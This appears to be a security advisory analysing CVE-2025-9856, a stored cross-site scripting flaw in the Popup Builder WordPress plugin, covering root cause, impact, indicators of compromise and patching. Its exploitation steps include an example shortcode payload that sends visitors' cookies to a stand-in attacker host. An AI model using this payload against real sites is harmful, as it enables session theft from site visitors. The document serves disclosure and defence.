CVE-2025-9856: 
WordPress vulnerability analysis and mitigation

CVE-2025-9856 is a Stored Cross-Site Scripting (XSS) vulnerability in the Popup Builder WordPress plugin ("Create highly converting, mobile friendly marketing popups") affecting all versions up to and including 4.4.1. The flaw exists in the plugin's sg_popup shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 13, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability resides in the sg_popup shortcode handler; specifically, user-supplied shortcode attributes are not properly sanitized before being stored or escaped before being rendered in page output, as evidenced by the vulnerable code paths in AdminHelper.php (line 438) and SGPopup.php (line 1368) in version 4.4.0 (Wordfence, Plugin Trac). An authenticated attacker with at least contributor-level access can embed a malicious sg_popup shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits the affected page.

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject malicious JavaScript into WordPress pages, affecting all site visitors who load those pages. Potential consequences include session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of drive-by malware to end users. The scope is marked as Changed, meaning the injected script can affect users and resources beyond the attacker's own session (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-9856 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which limits opportunistic mass exploitation but remains a realistic insider or compromised-account threat vector (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on a target site running Popup Builder ≤ 4.4.1.
2. Craft malicious shortcode: Construct a sg_popup shortcode with an unsanitized attribute containing a JavaScript payload, e.g., [sg_popup id="1" event="onload" attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Embed in content: Insert the malicious shortcode into a new or existing post/page draft and publish or submit it for review.
4. Trigger execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the browser renders and executes the malicious script, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing sg_popup shortcode content with encoded script tags or JavaScript event handlers.
• Database: wp_posts or wp_postmeta table entries containing sg_popup shortcodes with unexpected HTML/JavaScript attributes (e.g., <script>, onerror=, onload=, javascript:).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages containing sg_popup shortcodes; potential exfiltration of cookie or session data.
• File System: No direct file-system artifacts expected for stored XSS; however, monitor for newly created or modified posts/pages by contributor-level accounts containing shortcode anomalies.

Site administrators should update the Popup Builder plugin to version 4.4.2 or later, which contains the fix for this vulnerability as documented in the plugin changeset (Plugin Changeset). No configuration-based workaround is available that fully mitigates the risk without patching. As an interim measure, restrict contributor-level user registrations and audit existing contributor accounts for unauthorized shortcode usage. Web application firewalls (WAFs) with XSS filtering rules may provide partial mitigation until the patch is applied (Wordfence, Sucuri Blog).

Wordfence included CVE-2025-9856 in its weekly WordPress vulnerability report for December 8–14, 2025, and Sucuri highlighted it in their December 2025 vulnerability patch roundup (Wordfence Weekly Report, Sucuri Blog). No significant independent researcher commentary or notable social media discussion beyond automated CVE tracking posts has been observed.